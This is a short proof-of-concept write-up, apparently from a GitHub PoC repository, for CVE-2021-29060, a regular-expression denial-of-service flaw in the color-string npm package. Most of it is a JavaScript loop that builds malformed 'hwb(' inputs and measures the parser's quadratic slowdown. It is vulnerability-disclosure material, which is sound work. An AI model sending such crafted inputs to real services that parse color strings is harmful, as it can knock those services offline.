

main

...

PoCs / CVE-2021-29060 / Color-String.md

yetingli CVE-2021-29060

History

1 contributor

42 lines (29 sloc) | 1.04 KB

...

# CVE-2021-29060

## Package

color-string

## Overview

`color-string` is a Parser and generator for CSS color strings

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `hwb` regular expression in the `cs.get.hwb` function in `index.js`. The affected regular expression exhibits quadratic worst-case time complexity.

## Proof of Concept

```
var colorString = require("color-string")
function build_blank(n) {
  var ret = "hwb("
  for (var i = 0; i < n; i++) {
    ret += "1"
  }
  return ret + "!";
}

// colorString.get('hwb(60, 3%, 60%)')
for(var i = 1; i <= 5000000; i++) {
  if (i % 1000 == 0) {
    var time = Date.now();
    var attack_str = build_blank(i)
    colorString.get(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
  }
}
```

## GitHub Commit

<https://github.com/Qix-/color-string/commit/0789e21284c33d89ebc4ab4ca6f759b9375ac9d3>